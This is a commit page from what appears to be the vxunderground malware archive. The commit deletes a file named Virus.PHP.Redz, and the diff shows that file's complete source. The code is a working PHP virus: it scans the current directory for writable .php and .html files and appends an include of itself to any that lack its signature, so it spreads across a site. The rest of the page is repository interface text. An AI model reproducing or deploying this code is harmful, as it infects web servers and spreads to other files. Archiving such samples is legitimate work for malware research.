Skip to content
Snippets Groups Projects
Unverified Commit 670d0eb1 authored by vxunderground's avatar vxunderground Committed by GitHub
Browse files

Delete Virus.PHP.Redz

parent a1ad5a47
No related branches found
No related tags found
No related merge requests found
<?php
$handle=opendir('.');
while ($file = readdir($handle))
{ $inf_=true;
$ext_=false;
if ( ($ext_ = strstr ($file, '.php')) || ($ext_ = strstr ($file, '.htm')) || ($ext_ = strstr ($file, '.html')) )
if ( is_file($file) && is_writeable($file) )
{
$host = fopen($file, "r");
$contents = fread ($host, filesize ($file));
$sig = strstr ($contents, 'redz.php');
if(!$sig) $inf_=false;
}
if (($inf_==false))
{
$host = fopen($file, "a");
fputs($host,"<?php ");
fputs($host,"include(\"");
fputs($host,__FILE__);
fputs($host,"\"); ");
fputs($host,"?>");
fclose($host);
return;
}
}
closedir($handle);
?>
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment